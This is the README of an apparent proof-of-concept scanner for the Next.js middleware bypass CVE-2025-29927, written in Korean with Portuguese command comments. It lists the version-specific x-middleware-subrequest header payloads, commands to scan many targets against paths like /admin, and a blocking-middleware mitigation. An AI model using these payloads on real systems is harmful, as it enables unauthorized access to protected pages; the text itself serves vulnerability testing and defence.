
Next.js 미들웨어 취약점(CVE-2025-29927)을 탐지하기 위한 견고한 개념 증명(PoC) 도구입니다.
이 도구는 x-middleware-subrequest 헤더를 사용하여 미들웨어에 구현된 보안 검사를 우회할 수 있는 Next.js 애플리케이션의 심각한 취약점을 테스트합니다. 이 익스플로잇은 Next.js 버전에 따라 달라지는 특정 악성 헤더가 포함된 HTTP 요청을 전송하는 방식으로 이루어집니다.
연구에 따르면 Next.js 버전에 따라 서로 다른 페이로드가 사용됩니다:
12.2 이전 버전:
x-middleware-subrequest: pages/_middleware
12.2 이상 버전:
x-middleware-subrequest: middleware
또는
x-middleware-subrequest: src/middleware
(앱이 src 디렉토리를 사용하는 경우)
최신 버전(예: 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
또는
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
이 PoC는 이러한 모든 페이로드를 자동으로 테스트하고 어떤 것이 성공했는지 보고합니다.
# Clone o repositório ou baixe os arquivos
# Navegue até o diretório
cd poc-nextjs-2025
# Instale os pacotes necessários
pip install -r requirements.txt
python main.py -u https://exemplo.com # Testar uma única URL
python main.py -f alvos.txt # Testar múltiplas URLs de um arquivo
# Escaneamento básico de um único alvo
python main.py -u https://exemplo.com
# Escanear múltiplos alvos com caminhos personalizados
python main.py -f alvos.txt -p /api/users,/admin,/dashboard
# Escanear com maior concorrência e timeout mais longo
python main.py -u https://exemplo.com -t 10 --timeout 15
# Salvar resultados em um arquivo JSON
python main.py -u https://exemplo.com -o resultados_scan.json
스캐너는 다음을 통해 작동합니다:
x-middleware-subrequest 헤더의 다양한 변형으로 요청 보내기취약한 애플리케이션을 발견한 경우 다음 완화 조치를 적용하십시오:
x-middleware-subrequest 헤더가 포함된 요청을 차단하는 미들웨어를 구현하십시오export function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
| 옵션 | 설명 |
|---|
-u, --url URL | 스캔할 대상 URL |
-f, --file ARQUIVO | 스캔할 여러 URL이 포함된 파일 (한 줄에 하나) |
-p, --paths CAMINHOS | 테스트할 경로 목록 (쉼표로 구분, 기본값: 일반적인 경로) |
-t, --threads N | 동시 스레드 수 (기본값: 5) |
-o, --output ARQUIVO | 결과를 JSON 파일로 저장 |
--timeout N | 요청 제한 시간(초) (기본값: 10) |